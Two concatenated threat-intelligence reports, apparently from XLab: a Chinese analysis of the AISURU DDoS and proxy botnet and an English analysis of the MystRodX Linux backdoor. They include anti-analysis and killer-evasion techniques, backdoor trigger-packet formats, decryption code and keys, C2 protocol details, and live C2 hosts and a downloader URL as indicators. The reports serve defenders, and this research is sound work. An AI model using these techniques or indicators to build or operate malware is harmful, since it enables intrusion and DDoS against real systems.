AISURU僵尸网络最初于2024年8月由XLab首次披露，曾参与针对《黑神话：悟空》发行平台的DDoS攻击。自今年3月以来，XLab大网威胁监测平台持续捕获到该僵尸网络的新样本。多方信息显示，其背后团伙在4月涉嫌入侵某品牌路由器固件升级服务器，通过下发恶意脚本进一步扩展僵尸网络规模，当前节点数量据称已达30万。

更值得警惕的是，部分AISURU样本中嵌入的“彩蛋”信息已明显超出纯粹的攻击意图，转而试图传递特定意识形态内容。基于这一严峻态势，我们决定撰写本报告，向安全社区公开相关研究成果，呼吁各方携手应对，共同打击这一愈发猖獗的网络犯罪活动。

匿名消息源 & XLab视野

由于XLab长期深耕DDoS攻击这一领域，并持续发布可靠且独具深度的分析报告，这为我们不仅在防御者群体中、也在攻击者圈内积累了良好的声誉。近日，针对AISURU/ AIRASHI这一僵尸网络，有知情的匿名消息源主动向我们提供了相关情报，希望能像此前打击Fodcha僵尸网络一样，彻底瓦解AISURU。这一线索让我们终于有机会走近AISURU背后的团伙，揭开僵尸网络的运作内幕。

匿名消息源

据匿名消息源称：AISURU团伙有3个关键人物，代号分别为Snow, Tom, Forky。2022年，Forky认识了当时尚在微末的Snow和Tom，经过catddos僵尸网络等几次愉快的合作之后，三人一拍即合，决定成立现在的AISURU团队。

• Snow：负责僵尸网络的开发
• Tom：负责漏洞，包括0day发现，Nday整合
• Forky：负责僵尸网络的销售

2025年4月，Tom成功入侵totolink的一台路由升级服务器，将固件升级的url设定为下载执行恶意脚本。这意味着每台执行升级操作的totolink路由器，都有可能感染AISURU僵尸网络。

这次入侵让AISURU僵尸网络的规模迅速攀升，在极短的时间内突破10万级。如此庞大的规模，让他们也有点措手不及，不得不牺牲睡觉时间，加班加点在数个C2 IP上配置策略，配合GRE TUNNEL进行分流。

AISURU团伙成员行事张扬，常以“好玩”为由对ISP发动攻击，破坏性非常强。这使得他们在DDoS圈内口碑非常差，常被别人戏称为“精神不正常”，可以说是树敌无数。

4月底，DDoS圈内人士决定给AISURU团伙一点颜色看看，开始在社交媒体各种爆料。先是在一次Cloudlare表示缓解创记录的5.8Tbps的推文下，回复道：“这是来自340k totolink路由的攻击！”；几天又曝光更重量级的证据：僵尸网络的后台截图。从统计数据来看当时bot在线总数超过30万，其中3万来自中国。他一边高呼“welcome to totolink botnet”，一边@totolink以及国际刑警，希望引起公众，执法机构注意，以实现对AISURU的打击意图。

目前totolink升级服务器的漏洞已被修补，AIRUSU团伙也幽默的表示RIP TOTOLINK 2025-2025，但其实AIRUSU僵尸网络的规模并未被影响，依然保持在30万左右。

在2025年9月创记录的12.1 Tbps之前，Aisuru做过数次攻击测试，包括对知名记者Brian Krebs个人网站的攻击，攻击流量均创造了当时的“世界记录”。

有意思的是“Ethan J Foltz”是Rapper Botnet的作者的真名，他于2025年8月6日被捕；而上图中“Ethan J Foltz”这个ID背后之人其实是Snow，他使用这种方式赤裸裸的嘲讽Rapperbot，这或许是AISURU团伙在DDoS圈人人喊打的原因之一。

XLab视野

对于匿名消息源提供的故事，读者肯定会有类似的想法：“这的确是很有趣的瓜，可你这瓜保熟不？”我们或许无法验证这些人物，但依托于XLab大网威胁感知系统强大的监测能力，我们对样本，C2，攻击事件均有良好的视野。以该团伙的数次关键活动为线索，通过数据交叉比对，我们认为匿名消息源提供的攻击事件情报具有较高的可信度。

1：2025年4月向totolink升级服务器植入的恶意脚本t.sh

从26日起，脚本开始使用一个域名updatetoto.tw，可以通过域名排名系统Tranco来衡量它的活跃程序。

以4月29日到5月30日的排名为例，updatetoto.tw这个于4月25日才创建的Downloader域名在短短的一个月内就在全球域名中排到了672588，证明AISURU团伙这次的感染活动非常成功。

2：2025年4月开启GRE TUNNEL的C2 IP

Aisuru团伙在151.242.2.[22 - 25]这4个IP 配置GRE Tunnel，它们角色其实是C2服务器。

而我们在4月份捕获的C2 approach.ilovegaysex[.]su的TXT记录解密后涵盖了这4个IP，说明这个C2隶属于Aisuru团伙。

3：2025年5月对KrebsOnSecurity的攻击

对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年5月监测到其针对网络安全调查记者 Brian Krebs 的个人博客发起了网络攻击。

4：2025年9月对185.211.78.117的攻击

对恶意域名 ilovegaysex 所关联的 C2 服务器进行指令跟踪，今年9月监测到对185.211.78.117发起了网络攻击，流量是惊人的11.5 Tbps。

样本传播

依托于XLab大网威胁感知系统的能力，我们观察到Aisuru样本最近主要通过NDAY漏洞传播，同时具备0DAY漏洞的利用能力。去年6月开始使用的美国Cambium Networks公司的cnPilot路由器0DAY仍然在利用。Aisuru传播样本使用的部分漏洞如下：

攻击统计

Aisuru僵尸网络的攻击目标遍布全球，分布在各个行业，主要攻击目标分布在中国、美国、德国，英国，中国香港等地区。并无明显的强针对性。每日攻击目标几百个左右。

DDoS攻击趋势：

受害者地区分布：

技术分析

从2025年3月14日起，AIRURU团伙开始投递新的僵尸网络样本，和目前掌握的源码进行比对，我们发现更新主要集中在加密方式上，截止目前发现的更新可以分成俩大版本。

1. 版本一的更新包括：使用ecdh-P256进行密钥交换，之后生成共享的chacha20密钥对网络通信消息加密；DNS-TXT记录不再使用base64+chacha20解密，使用base64+xor解密；新的攻击指令、消息格式

2. 版本二的更新包括：精简网络协议，删除ecdh-P256密钥交换过程，；魔改xxhash算法用于验证消息完整性；魔改RC4算法用于解密样本字符串和通信key；

第一个版本只持续了半个月左右时间，后续主要使用第二个版本样本。下文以版本二的样本为主要分析对象，着重介绍Aisuru的对抗手法，加密算法以及网络协议。

环境检测

样本启动后会检测当前进程命令行中是否包含以下字符串:

tcpdump
wireshark
tshark
dumpcap

检查内核的硬件标识信息是否包含以下字符串：

VMware
VirtualBox
KVM
Microsoft
QEMU

如果检查到上述情况，则程序退出，在一定程度上干扰样本的动态分析

Killer对抗

Linux 内核有一个 OOM Killer（Out-Of-Memory Killer），当系统内存不足时，它会挑选一些进程强制结束来释放内存。该样本通过在/proc/self/oom_score_adj写入-1000来禁用该功能，以获取到更多的执行时间。

正所谓的同行是冤家，每个Botnet Operator都想独占设备，对于设备的争夺非常激烈，一个设备今天属于A，明天又被B入侵的情况屡见不鲜。比如Aisuru和Rapperbot的在nvms9000设备的竞争上就非常白热化，当Aisuru做为胜利方接管了设备后，都要忍不住的跳出来嘲讽Rapperbot，贴脸开大。

大部分僵尸网络样本为了多平台兼容性，使用静态链接编译样本，导致它们不使用任何共享库；此外还会在运行后删除自身文件。但这也让不少僵尸网络将上述作为特征进行kill，以击败自己的竞争对手。

为了对抗上述killer，样本启动后会在/lib/中搜索以.so结尾的共享库文件并映射到当前进程中；不删除文件并将文件名替换为libcow.so；进程名同样是被检查的重点对象，样本将进程名替换为以下常见的进程名之一：

telnetd
udhcpc
inetd
ntpclient
watchdog
klogd
upnpd
dhclient

魔改的RC4加密算法

和之前的AIRASHI版本相比，新样本解密字符串时也不再使用标准的RC4算法，校验消息时不再使用标准的HMAC-SHA256算法。

新样本使用了魔改的RC4算法，密钥为PJbiNbbeasddDfsc，该密钥在多个版本中都没有变化，或许是向Fodcha僵尸网络致敬。算法保留了RC4的256字节的S盒，在初始化和生成密钥流时增加新的扰动，等效的Golang实现如下:

func AIRASHI_RC4(data []byte) []byte {
	key := make([]uint32, 4)
	keyBytes := []byte("PJbiNbbeasddDfsc")
	for i := 0; i < 4; i++ {
		key[i] = binary.BigEndian.Uint32(keyBytes[i*4 : (i+1)*4])
	}

	S := make([]byte, 256)
	i := 13
	for j := 0; j < 256; j++ {
		S[j] = byte(i & 0xff)
		i -= 89
	}

	j := 0
	for i := 0; i < 256; i++ {
		j = (j + int(S[i]) + int(key[i%4]>>(i%32))) % 256
		S[i], S[j] = S[j], S[i]
	}

	seed := uint32(0xE0A4CBD6)
	for i := 0; i < 5; i++ {
		for k := 0; k < 256; k++ {
			seed = 0x41C64E6D*seed + 12345
			t := (seed * uint32(S[k])) >> 24
			t1 := (seed ^ key[(i+k)%4] ^ uint32(S[k])) & 0xff
			S[k] = byte(t1)
			j = (int(t1) + j + int(t)) & 0xff
			S[k] = S[j]
			S[j] = byte(t1)
		}
	}

	i, j, k := 0, 0, 0
	m := uint32(1)
	result := make([]byte, 0, len(data))
	for _, byteVal := range data {
		i = (i + 1) % 256
		j = (j + int(S[i])) % 256
		k = (k + int(S[(i+j)%256])) % 256
		S[i], S[j] = S[j], S[i]
		m = rol32(m, 1)
		if (m & 1) != 0 {
			m ^= 0xD800A4
		}
		t := (S[(k+j)%256] + S[(j+i)%256]) & 0xff
		t1 := ((byte(m) ^ S[t]) >> 4) ^ rol8(byte(m)^S[t], 3)&0xff
		result = append(result, byteVal^t1)
	}
	return result
}

以下图的密文为例：

使用AIRASHI_RC4解密后，我们得到的明文是一条充满挑衅意味的信息。对此，我们只想回应一句：“阁下莫非是皮痒了？”

tHiS mOnTh At qiAnXin shitlab a NeW aisurU vErSiOn hIt oUr bOtMoN sYsTeM dOiNg tHe CHAaCha sLiDe
翻译为中文为：本月在奇安信的shitlab，一个新的Aisuru版本出现在了我们的BotMon系统，正在跳ChaCha舞。

当然，AISURU在样本中隐藏的信息远不止这一条。感兴趣的读者可以自行对样本（MD5: 053a0abe0600d16a91b822eb538987bca3f3ab55）进行解密分析。一旦成功解密，你就会明白，我们为何下定决心要坚决打击这一网络攻击团伙。

C2获取

样本继续保持之前的C2解密方法，通过|分割从字符串表中解密的C2字符串，得到多个子域名和主域名，再通过,分割多个子域名，示例如下：

decrypted str: sub1,sub2,sub3|domain.tld

c2_1: sub1.domain.tld
c2_2: sub2.domain.tld
c2_3: sub3.domain.tld

在解析域名时，仍使用加密的TXT记录，在之前的blog的样本中使用base64+ChaCha20进行解密，新版本只是弃用了ChaCha20，改用异或获取IP。对C2解密感兴趣的读者，可参阅Appendix章节的CyberChef，只需要将C2的TXT记录复制到INPUT即可。

网速测试

开发者在最新的几个版本中，加入了网络上传速度测试的功能，该功能使用了speedtest的公共服务

1. GET /speedtest-servers-static.php 获取测试服务器
2. GET /speedtest/latency.txt 获取延迟最低的服务器
3. 向延迟最低的服务器POST随机数据，时间为10s（部分样本为100ms）

但该功能并不会对程序运行和C2连接方面产生影响，只是在得到结果后向C2报告。我们认为测速这一新增加功能的的目的是为后续的代理指令服务，很显然C2会向一些网络良好的节点下发代理指令，让其成为住宅代理中的一环。

网络协议

协议方面和之前版本相比，整体流程变化不大，仍保留获取共享的ChaCha20密码、确认机制，只是在消息格式和指令、加密算法方面做修改。

新的消息由三部分构成：消息头、随机字节和消息体，如图所示是解密后的上线包：

消息头长度固定为8字节，由4个字段组成：

msgType(1byte) + randSize(1byte) + bodySize(2byte) + bodyHash(4byte)

上线包新增字段：

struct login{
	uint32 stun_ip;  
	uint32 botid_len;
	char botid[botid_len];
	uint32 version;
	uint32 nodename_len;
	char nodename[nodename_len];
	uint32 cwd_len;
	char cwd[cwd_len];
	uint32 kernel_ver_len;
	char kernel_ver[kernel_ver_len];
	uint16 reserve1;
	uint8 reserve2;
	bool support_udp;
}

新版本支持的指令及对应的功能描述如下：

可以看出新样本不仅支持DDoS攻击，还支持Proxy。随着全球执法机构对网络犯罪的打击力度不断加大，网络犯罪集团对匿名化服务的需求日益增长。正所谓有需求的地方，就有利益。僵尸网络控制的节点天然适合构建住宅代理，从我们的目前积累的案例来看，这似乎是近年来DDoS圈的一个潮流，把业务从单一的攻击，扩展到网络代理。

我们在XLab指令跟踪系统中实现了Aisuru网络协议，和预期一样，不仅接收到常规的DDoS攻击指令，还接到和Proxy相关的指令。

很显然，Aisuru 已不再满足于 DDoS 攻击这一单一业务模式，开始涉足代理服务领域，试图充分利用其手中庞大的节点资源，以谋求更多经济利益。

IoC

C2

coerece[.ilovegaysex[.su
approach[.ilovegaysex[.su
ministry[.ilovegaysex[.su
lane[.ilovegaysex[.su
a.6mv1eyr328y6due83u3js6whtzuxfyhw[.ru

Report/Download Server

u[.ilovegaysex[.su
updatetoto[.tw

Proxy Relay C2

194.46.59[.169	United Kingdom|England|Exeter	AS206509|KCOM GROUP LIMITED
104.171.170[.241	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
104.171.170[.253	United States|Virginia|Ashburn	AS7922|Comcast Cable Communications, LLC
107.173.196[.189	United States|New York|Buffalo	AS36352|ColoCrossing
64.188.68[.193	United States|District of Columbia|Washington	AS46339|CSDVRS, LLC
78.108.178[.100	Czech Republic|Praha, Hlavni mesto|Prague	AS62160|Yes Networks Unlimited Ltd

Sample

09894c3414b42addbf12527b0842ee7011e70cfd
51d9a914b8d35bb26d37ff406a712f41d2075bc6
616a3bef8b0be85a3c2bc01bbb5fb4a5f98bf707
ccf40dfe7ae44d5e6922a22beed710f9a1812725
26e9e38ec51d5a31a892e57908cb9727ab60cf88
08e9620a1b36678fe8406d1a231a436a752f5a5e
053a0abe0600d16a91b822eb538987bca3f3ab55

Appendix

CyberChef

https://gchq.github.io/CyberChef/#recipe=Fork('%5C%5Cn','%5C%5Cn',false)From_Base64('A-Za-z0-9%2B/%3D',true,false)XOR(%7B'option':'Hex','string':'ca%20fe%20ba%20be'%7D,'Standard',false)To_Hex('Space',0)Change_IP_format('Hex','Dotted%20Decimal')&input=Im9XamNxZz09Ig0KIm9XamVuZz09Ig0KIm9XallCdz09Ig0KIjU2NGtMZz09Ig&ieol=CRLF

On June 6, 2025, XLab's Cyber Threat Insight and Analysis System(CTIA) picked up activity from IP 139.84.156.79 distributing a suspicious ELF file—dst86.bin—with a low VirusTotal hit rate of only 4/65. While conventional scanners labeled it as Mirai, our AI module remained silent. That mismatch caught our attention.

Turns out, it wasn’t Mirai. It was a dropper—and what it delivered was a brand-new backdoor, unrelated to known Mirai strains. We’ve named it MystRodX, based on its propagation filename dst, the internal class name cmy_, and its multi-layer XOR encryption schemes.

MystRodX is a typical backdoor implemented in C++, supporting features like file management, port forwarding, reverse shell, and socket management. Compared to typical backdoors, MystRodX stands out in terms of stealth and flexibility.

• Stealth is achieved through a differentiated encryption strategy for various levels of sensitive information:

  1. VM & Debugger detection-related sensitive strings are encrypted using single-byte XOR.
  2. AES keys, Payloads, and Trigger packets are encrypted using a custom "transform algorithm".
  3. Configuration is encrypted using AES in CBC mode.

• Flexibility is demonstrated by MystRodX's ability to dynamically enable different functional features based on its configuration, such as choosing between TCP or HTTP for network communication, and deciding whether to use plaintext or AES encryption for traffic.

One of the most interesting features is its support for a wake-up mode, meaning MystRodX can be configured as a passive backdoor that is activated by specific DNS or ICMP network packets without the need for open ports.

One config field sets a activation timestamp. In the samples we caught, the earliest was set to January 7, 2024, 23:10:20—meaning this thing has been hiding in networks for over 20 months, completely under the radar. Through XLab’s C2 hunting platform, we found three live C2s—and evidence of more uncaught samples in the wild. Given its stealth and low profile, we’re breaking down MystRodX now. It’s time to expose a long-lingering threat—and help defenders hunt it down.

Passive Mode

When the Backdoor Type is set to 1 in the configuration, MystRodX enters passive backdoor mode. In this state, it uses a RAW socket to monitor all incoming traffic—without binding to any open port. It can be activated by specially crafted DNS or ICMP packets.

The activation message is encrypted using the Transform algorithm (detailed in the Appendix). Once decrypted, the payload follows this structure:
Magic (4 bytes) + Protocol (4 bytes) + Port (4 bytes) + C2.
If the Magic value is verified, MystRodX establishes communication with the C2 using the specified protocol and awaits further commands.

Unlike well-known stealth backdoors like SYNful Knock, which manipulates TCP header fields to hide commands, MystRodX uses a simpler yet effective approach: it hides activation instructions directly in the payload of ICMP packets or within DNS query domains.

DNS Trigger

A valid DNS trigger packet must follow the format:www.DomainName.com.

The DomainName portion is {9-byte mask}UBw98KzOQyRpoSgk5+ViISKmpC6ubi7vao=. When this string is Base64-decoded, it produces the following ciphertext:

00000000: C5 E4 F2 A7 11 73 DD 40  70 F7 C2 B3 39 0C 91 A6  .....s.@p...9...
00000010: 84 A0 93 9F 95 88 84 8A  9A 90 BA B9 B8 BB BD AA  ................

This ciphertext is then decrypted using the Transform algorithm in the Appendix with the parameters:

• magic: 0x0d
• magic2: 0xaa (the last byte of the ciphertext)
• key: key_for_backdoor

The decryption yields the plaintext activation payload

Parsing this plaintext reveals:

• Magic: "CAT"
• Protocol: TCP
• Port: 0x1f4a (8010)
• C2 IP: 149.28.137.254

If the Magic value matches, MystRodX initiates a connection to 149.28.137.254:8010 and awaits further instructions.

ICMP Trigger

Next, let's examine the ICMP trigger packet. This time, we'll take a proactive approach, constructing the packet and observing the sample's behavior.

First, we craft a simple ICMP ping request: 08 00 00 00 30 39 00 01. Then, we construct the PAYLOAD, specifying the C2 server as 192.168.96.1, port 443, and using the HTTP protocol:

00000000: 43 41 54 00 01 00 00 00  BB 01 00 00 31 39 32 2E  CAT.........192.
00000010: 31 36 38 2E 39 36 2E 31  00 00 00 00 00 00 00 00  168.96.1........
00000020: 00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................

Next, we apply the Transform algorithm with the magic2 parameter set to 0x9f to encrypt the payload. Finally, we combine the ICMP header with the encrypted payload to form the complete ICMP packet.

Upon receiving the ICMP packet, MystRodX establishes a communication connection with 192.168.96.1:443 and sends an HTTP-formatted check-in message. This behavior aligns perfectly with our expectations, confirming the accuracy of our analysis.

Digging Deeper

In the two captured MystRodX samples, the configured C2 servers have no active ports open. After completing reverse analysis, we have a question: Is MystRodX still an active threat or has it been abandoned? To answer this, we conducted several investigations from both BOT and C2 perspectives using XLab’s C2 hunting platform.

0x1: Activating Bots

We sent DNS/ICMP activation packets across the internet to trigger MystRodX backdoors in passive mode, aiming to identify potential victims. Unfortunately, aside from our test IPs, no valid check-in responses were received. Possible reasons include: wild MystRodX samples may not have passive mode enabled, or they use new keys, magic values, or configurations, causing our activation packets to fail.

0x2: Probing C2s

With the support of active C2 probing services, we successfully identified three C2 servers that are still active in the wild. These servers responded to the online packets and sent a command 7 to the bots, requesting them to enable traffic encryption. They have been active since 2024, demonstrating the continued presence of the MystRodX threat.

MystRodX configurations include RSA public keys for decrypting command 7. Attackers typically use distinct keys for different campaigns, with two known keys linked to the “neybquno” and “zoufkcfr” campaigns. In command 7 packets, a 256-byte segment at offset 0x110 contains the MagicString ciphertext. MystRodX enables traffic encryption only if the decrypted MagicString matches the hardcoded “0x68abut.” This allows us to link C2s to known campaigns.

Among the three newly discovered active C2 servers, only the command 7 issued by 149.28.137.254 could be successfully decrypted using known public keys. This indicates that the other two C2s (156.244.6.68 and 185.22.153.228) belong to an as-yet unknown attack campaign, meaning there are definitely uncaptured MystRodX samples in the wild.

Detection Analysis

Over the past two months, the detection rate for MystRodX samples has slightly increased, now reaching 6/65. The main label remains Mirai.

We speculate that some antivirus software use the Mirai label because the sample uses Mirai's classic single-byte XOR encryption for strings related to virtual machines and debuggers.

We tried two patch methods: one removes the encrypted strings related to virtual machines and debuggers in the sample, while the other replaces the encrypted text with plaintext. The antivirus detection results after patching were surprising, as both patch methods effectively lowered the detection rate. However, these strings are actually unrelated to the core functionality of the sample, indicating that the community has not truly identified the MystRodX threat.

Dropper Analysis

0x1: String Decryption

MystRodX uses single-byte XOR encryption to protect sensitive strings. The decryption method is simple: the last byte of the ciphertext is the XOR key, and it is XORed byte-by-byte with the ciphertext. For example, if the ciphertext is \x13\x08\x12\x04\x17\x00\x65, the key is 0x65, and after decryption, it becomes vmware\x00. To make analysis easier, we can use an Idapython script to batch decrypt.

The results are as follows:

The decrypted strings can be divided into three major categories, which are used for virtual machine detection, debugger detection, and launcher-related functions:

• VM-related: Checks the contents of /sys/class/dmi/id/bios_vendor to see if it contains vmware, vbox, Phoneix, or innotek to determine if it is running in a virtualized environment.
• Debugger-related: Checks the parent process name for common debugging tools such as gdb, lldb, ltrace, strace to determine if the current process is being debugged.
• Launcher-related: The next stage involves the Launcher filename, PID file, and working directory.

0x2: Payload Decryption

Before decrypting the Payload, a keyinfo structure needs to be set up in advance, where the value of key1 is 0x13, and the xorkey is hardcoded in the sample with a length of 32 bytes.

struct keyinfo {
    uint8_t key1;
    uint8_t unknow[3];
    void *xorkey;
    uint16_t xorkey_len;
    uint8_t key2;
    uint8_t notused;
};

The xorkey is as follows:

00000000  02 06 03 09 04 02 0e 0a 01 0f 08 0a 04 0d 0b 09  |................|
00000010  0a 09 01 03 06 05 6d 0c 01 02 0f 03 03 0a 05 00  |......m.........|

The value of key2 is computed using a checksum-like algorithm on the xorkey, which in this case is 0x90.

After obtaining key1, xorkey, and key2, the following code snippet is used to decrypt the Payload. It can be observed that the last byte of the Payload is also a key. This algorithm, known as MystRodX_Transform, is repeated across multiple scenarios in MystRodX, such as AES key decryption, trigger packet decryption, etc.

After analysis, we implemented the algorithm in Python, as detailed in the "Transform Algorithm" section of the Appendix. In actual use, you only need to provide magic, magic2, and key. For example, to decrypt the Payload, magic is key1 (0x13), magic2 is the last byte of the Payload (0xab), and key is key_for_dropper.

The decrypted Payload contains three critical files: chargen, busybox, and daytime. Among them, daytime is the Launcher component responsible for launching chargen, which is the core MystRodX backdoor component. The Payload's verification mechanism relies on a 7-byte checksum value: C2 0A D7 A4 22 21 5A. The Dropper compares this value and only releases the Launcher and MystRodX backdoor if the checksum matches.

Launcher Analysis

The Launcher uses the same string encryption algorithm. The decrypted clog and dlog are used to store the process IDs (PIDs) of the MystRodX and Launcher. Its core function is to continuously monitor the status of the MystRodX backdoor process, chargen. If chargen is not running, the Launcher will restart the backdoor process.

MystRodX Backdoor Analysis

MystRodX is a typical backdoor implemented in C++. The class names in the sample clearly reveal the functions it supports, such as file management, reverse shell, SOCKS proxy, port forwarding, etc.

Due to space limitations, this article will not delve into the common functions but will focus on analyzing the distinctive features of MystRodX from two aspects: host behavior and network protocols, including:

• Dual-process Guardian Mechanism
• Configuration Decryption
• Communication Protocol
• Passive Backdoor Mode

0x1: Dual-process Guardian Mechanism

MystRodX continuously monitors the daytime process. If daytime is not running, MystRodX will immediately launch the Launcher process again. This way, the Launcher and MystRodX form a dual-process guardian mechanism: if either process terminates, the other will restart it, ensuring long-term stable operation.

0x2: Configuration Decryption

MystRodX’s configuration is encrypted using AES. The AES key, like the Payload, is protected by the Transform algorithm, except that the values of key1, xorkey, and key2 differ.

key1:0xd

xorkey
00000000  00 02 07 11 13 19 04 06 16 0e 18 0b 02 2d 0b 19  |.............-..|
00000010  a0 91 02 23 96 45 6c 1c b1 d2 7f e3 22 00 00 00  | ..#.El.±Ò.ã"...|

key2:0xf1

Below are the AES-related ciphertext and the decrypted plaintext. The AES key starts at offset 0x08 in the plaintext and has a length of 32 bytes.

Using the above AES key and a hardcoded IV 0D 0F 02 04 08 07 2D 1C 01 04 0D 01 02 07 06 02, you can decrypt the configuration using CBC mode. Readers can refer to the CyberChef section in the Appendix for more details.

The configuration of the sample 72d377fa8ccf23998dd7c22c9647fc2a are shown below:

The decryption process for the configuration of a46f2c771fb580e2135ab898731be9a7 is the same; only the key differs.

The configuration includes information such as the activity name, time, C2 server, port, public keys, and more. The table below lists each attribute and its offset in the configuration (note: the configuration may vary depending on the sample):

When the Backdoor Type is set to 1, MystRodX enters passive backdoor mode and waits for an activation message. When the value of Backdoor Type is not 1, MystRodX enters active backdoor mode and establishes communication with the C2 specified in the configuration, waiting to execute the received commands. In the two samples captured so far, the value of Backdoor Type is 0.

0x3: Network Communication

The MystRodX backdoor supports two communication modes: TCP and HTTP, and it can be configured to enable or disable AES encryption. The currently captured samples all use the TCP mode and have encryption disabled. The network packet format is as follows:Packet Length (4 bytes) + Main Code (4 bytes) + Sub Code (4 bytes) + Packet Direction (4 bytes) + Data

For example, the packet 10 00 00 00 01 00 00 00 01 00 00 00 01 00 00 00 indicates that the packet is sent from the BOT to the C2, with a length of 16 bytes. The Main Code and Sub Code are both 1, which corresponds to the online message of MystRodX.

Little Endian 
10 00 00 00  ---> Packet length, 0x10 bytes
01 00 00 00  ---> Main Code, 0x01
01 00 00 00  ---> Sub Code, 0x01 
01 00 00 00  ---> Direction, 0x01, bot_to_c2

The Main Code in the protocol can have the following values: 1, 2, 5, 7, and 8. Among them, 2, 5, 7, and 8 correspond to reverse shell, file management, port forwarding, and SOCKS management functionalities, respectively.

1 represents general management functions, primarily used by the C2 for controlling the bot, such as updating configuration files, uploading device information, etc. These operations are assigned different Sub Codes. The table below lists the Sub Codes and their corresponding functions.

For example, when the bot receives a command with MainCode 1 and SubCode 2, it will report the device information back to the C2.

Additionally, it is worth mentioning that when traffic encryption is enabled, the network packet format changes and is upgraded to the following structure:CipherText Length(4bytes)+ PlainText Length(4bytes) + padding(8bytes) + CipherText.

Summary

With this, our analysis of MystRodX comes to a temporary close. The above information represents all the relevant intelligence currently available. Network administrators can refer to the technical details in this analysis to assess whether their systems have been compromised by this backdoor.

Due to limited visibility, we currently do not know the specific infiltration vectors, attack targets, or the true intentions of MystRodX. We sincerely welcome industry partners who possess further information to share intelligence with us, so that we can work together to enhance cybersecurity defenses.

If you are interested in our research or have any information related to this backdoor, feel free to contact us via the X platform.

IOC

Downloader

http://139.84.156[.]79/dst-x86.bin

C2 & Campaign

airtel.vpndns.net:443   neybquno
149.28.130.195:443    zoufkcfr

149.28.137.254:8010   neybquno
149.28.137.254:8443   zoufkcfr


156.244.6.68:443    unknown
185.22.153.228:443  unknown

Sample MD5

Dropper
5e3a2a0461c7888d0361dd75617051c6 *dst
72d377fa8ccf23998dd7c22c9647fc2a *chargen
5bf67ce1b245934965557de6d37f286f *daytime


fa3b4d5fd1f6c995395244f36c18ffec *dst
a46f2c771fb580e2135ab898731be9a7 *chargen
e8fcb7f3f0edfc7d1a99918dc14527d1 *daytime
1f003437e3d10e07f5ee5f51c61c548f *networkd

Patched By Xlab
4dc20d1177da7932be3d63efe939b320
2775d9eac1c4a5eb2c45453d63ea6379
4db35e708c2d0cabe4709fa0540bafb7

Public Key

neybquno

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs7/nw8KnB3Ow2uUR1bNW
60UQKOI7emuau8AyCK4KqK/iUGQJzOoopLgi2D4DWrK5Wi+qtgLPt7WSTFUnMGge
XRbXdHamEasF/8kNhuv7F/CKSc+sCy/TrtLeYAQH4nuT+PhMym0aOLEwSJIuDu+4
wgUzONdgpkZZnx2h8TQmzv3LmeQWx1iOk+L4SrwbG3Cs889eWlj2O66hyT5kz6s5
6HxRjZD4V1zuWzcuoNpdqaKKA4DaraF4onYNNctIiSdkaTKPeJaim+whljmuFn8Q
y9WKcT2yogoUaUd3fkx+MPaK80R6nIEN+ooreBkf2eXXJwuTRFl1eocaUENENo5h
QwIDAQAB
-----END PUBLIC KEY-----

zoufkcfr

-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5blT2R1XzP3T0Eu0vatg
u8h15ysd+TYQWYCrm1LT9bISVx9Jhzhbf3l5oFQD/TBstZQ6hjhUZuDCczdaYZJu
4HVzhkmVKsyjLV16aG5mCbDiF/bR879jSDJMZoqZJOitAA0xQQ2FqmuOxlFkN8Ab
Rd87xcDTF/SzWcV2nj6UlNHcFilxz48kai3/lcypnIoUtnEMtkMGsRX81LVniyUm
yrvvRAA7PQqHa1qFbJSt3xY+FAzC/Iy6QbSnrMoc8FVMCDUR/YKLCDU2c3SUshUs
Xkanh6odvXOBjEKoEbaBgc3Bb2uAPdiDkEGqDiZl0yitzopA9+f+606Q5UG9CVcW
OwIDAQAB
-----END PUBLIC KEY-----

Appendix

Transform Algorithm

key_for_dropper=bytes.fromhex('02 06 03 09 04 02 0e 0a 01 0f 08 0a 04 0d 0b 09
0a 09 01 03 06 05 6d 0c 01 02 0f 03 03 0a 05 00')


key_for_backdoor=bytes.fromhex('00 02 07 11 13 19 04 06 16 0E 18 0B 02 2D 0B 19
A0 91 02 23 96 45 6C 1C B1 D2 7F E3 22 00 00 00')


def calc_sum(buf):
    checksum = 0
    for i, v in enumerate(key):
        checksum ^= (v << (i&7)) & 0xFF  
    return checksum  
    

def transform(magic,magic2,buf,key):
    
    buf_len=len(buf)-1
    key_len=len(key)
    key1=magic ^ calc_sum(key)
    
    key2=(key[(key1^buf_len)%key_len]) ^ magic2 ^ buf_len
    out=bytearray()
    for i, value in enumerate(buf):
        out.append((key[(i^key1)%key_len] ^ key2 ^ value ^ i)&0xff)

    return out

CyberChef

https://gchq.github.io/CyberChef/#recipe=AES_Decrypt(%7B'option':'UTF8','string':'z7bcjTSKrFiHYUB63NZendVvtJ2RGfo8'%7D,%7B'option':'Hex','string':'0d%200f%2002%2004%2008%2007%202d%201c%2001%2004%200d%2001%2002%2007%2006%2002'%7D,'CBC','Raw','Raw',%7B'option':'Hex','string':''%7D,%7B'option':'Hex','string':''%7D)To_Hexdump(16,false,false,false)&input=PBpcVtR8VHCFl/oaqAGk0w7pCVMMe1xQ1Ma0FBs2X2P9vpD6GrVC/b6XqKDWb/eFS/g9najMHOO3r38h3V9lZvvSKl31GM2FJbIKw91n/r6Z9TgKmrlLdLroahpV91HmQPi2ttGAyXrF9SmsLMCBqA6X5fIPZ/v3cEI69nKREj1Fq%2BHffi6q4s3sfzgDmFDZL9XFff9g2AtSVm7MLBAhNjMXqifFPxIbo5L0McZ%2B%2B78Wrdv3VnsvZIZTBLLM%2BEY/EqiKf73OIvmRGrI3Q4ksiGyG8CTcau6hrlJUN91IWdSjRU0vNPxvwIU4qy9aTSKhTI2Be2Cc53B3aRu%2BGKMcFG0d/IioT0fb1MxeIMPKtPViBzHRRj0OGbK5OFpX0nfdTyAEW85fnXos14I6yO7%2B/JfsaF4YQv7OVCKgQnYXFrjMMajtE%2BoiGInB6d4ybrNNXA3u3p%2BQ3leErM8yuIpvzSre6wPsyJ4VZxyPQA4iRn1AnZO7QA5UG2IzqPCXZfAvLHhvMqMNI9D8bwInx1pnVdx2kwHQhxvyzLGFxkVrhvTcZSGSG708jkAYfzjItoPANBc0WMg0NWuSs53gVmuc/UJk%2B